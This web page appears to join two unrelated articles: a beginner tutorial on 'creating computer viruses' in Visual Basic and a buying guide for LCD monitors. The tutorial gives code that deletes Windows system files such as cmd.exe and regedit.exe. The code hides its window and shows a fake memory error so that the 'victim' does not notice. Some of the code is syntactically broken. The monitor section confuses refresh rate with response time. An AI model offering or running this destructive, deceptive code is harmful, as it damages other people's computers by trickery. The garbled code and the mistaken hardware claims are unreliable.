Creating Computer Viruses

Creating a computer virus is going to be pretty hard, especially for beginners. Well, this tutorial will show you how to create a simple computer virus with only a few codes. A computer virus can be an application which deletes files from the computer, and infects your computer because it deletes files, codes, and you need an Antivirus to clean your computer in order to be back as normal.

First, open a New Project in Visual basic, a Standard exe file. Now it depends on how do you want your virus to work, I’m thinking it’s better to activate a single time the opened application so that the Main Codes to be always in order. In your project insert a Text Box, a command button and a Timer, but we will use these later.

In the project type the file you want it to delete, for example if you want to delete the command file, then you must insert in TAB order the following codes:

Private Sub Form_Load()

Text1.Text = “C:/Windows/System32/cmd.exe”

Kill Text1.Text

End Sub

When the program is run a single time, the command file will be deleted. Now i will show you a “making” example and using the command button. Insert the next code in the Command Button in the loaded form. You can insert a simple text box in order to make the virus to act faster. I inserted “A”:

Private Sub Form_Load()

Text1.Text = “C:/Windows/System32/cmd.exe”

A = Text1.Text

End Sub

Private Sub Command1_Click

Kill A

End Sub

Now you only need to press the command button a single time in the project and the file you selected to be deleted, will be deleted. Now we will user the Timer. If you want to Disguise your scheme then this is the right way to do it, we will send a Fake Message Error pretending the application has not enough memory for running, but in fact the victim does not know that you deleted the file.

The scheme:

Private Sub Form_Load()

Form1.Visible = False

Text1.Text = “C:/Windows/System32/cmd.exe”

A = Text1.Text

Msgbox (“Runtime Error 492. Not Enough Memory.”, vbCritical, “Runtime Error”

End Sub

Private Sub Timer1_Timer()

Timer1.Interval = 5000

Kill A

Timer1.Enabled = False

End Sub

At last, we made an invisible form so that it will display the false Error Message. We set a 5 seconds gap, meaning that after 5 seconds will delete the file, this is as simple for anyone. Ok, now we will make it a little bit difficult if you think this was easy. How to delete more than 1 file from the computer, and you don’t need a text box:

In the loaded form insert the next code:

Private Sub Form_Load()

Form1.Visible = False

Msgbox (“Runtime Error 492. Not Enough Memory.”, vbCritical, “Runtime Error”

Kill “C:/Windows/System32/cmd.exe” s

Kill “C:/Windows/regedit.exe”

End Sub

In the end, it will delete the command file and registry file, and I don’t think that the victim will be as pleased as you will be. Now I will show you the information which I believe to be your start for creating programs, and you can test it on your own PC, just copy a file, let’s say cmd.exe and paste it in C:/. Now insert the code, but in “Kill” insert: Kill “C:/cmd.exe”

That’s about everything that you need to “kill”, and then you will see the deleted file. Try other stuff and you’ll be a hell of a program in short time.

Everyone has heard of LCD – liquid crystal display – monitors. Yea it’s that fancy flat screen monitor that fits perfectly everywhere, on your desk, on the wall, on the table, it’s slimmer and lighter than the old CRT – cathode ray tube – monitors, they come in different colors: blue, green, gray, white, black, olive, etc., different sizes depending on the screen’s diagonal: 15 inches, 17 inches, 19 inches, up to 30+ inches. But we also see in their description something about it’s refresh rate (Hz) or response time (ms): 10 ms, 8 ms, 5 ms, 2 ms; yea we know smaller refresh rate means better display, but why ? What is the refresh rate of an LCD monitor ? Well it signifies the number of times in a second that the display hardware draws the data. While the cathode ray tube monitors use the same technique for both illumination and imaging, the LCDs have a separate backlight to illuminate the image generated by the liquid crystals.

There are all kinds of brands for the LCD monitors like: Acer, ASUS, Benq, Dell, Fujitsu Siemens, Hanns.G, Horizon, HP, Lenovo, LG, NEC, Proview, RPC, Samsung, Viewsonic, Viewstar, Yuraku and so on; every brand has each monitor with different refresh rate in order to satisfy it’s customers.

But the real thing is, that it doesn’t matter if the refresh rate of a monitor is lower or higher because you’ll never going to be able to see the difference, because you can not see the refresh with the clean eye, but what you are going to notice is the color contrast which differ from one screen to another. So don’t plan to buy an LCD monitor with a lower refresh rate just because you want to have your images refresh more often. Our advice to you is to buy an LCD monitor from one of the famous brands, we suggest you don’t throw your money into some no-named brand’s pocket just because they had lower prices. Not all the time, but sometimes the higher the prices lead to higher performances and a longer lifetime for the product.

Here are some of the monitors worth buying at low prices:

- Acer H233H 23 inch Wide screen Flat Panel LCD Monitor : 5 ms response time, for $189.99
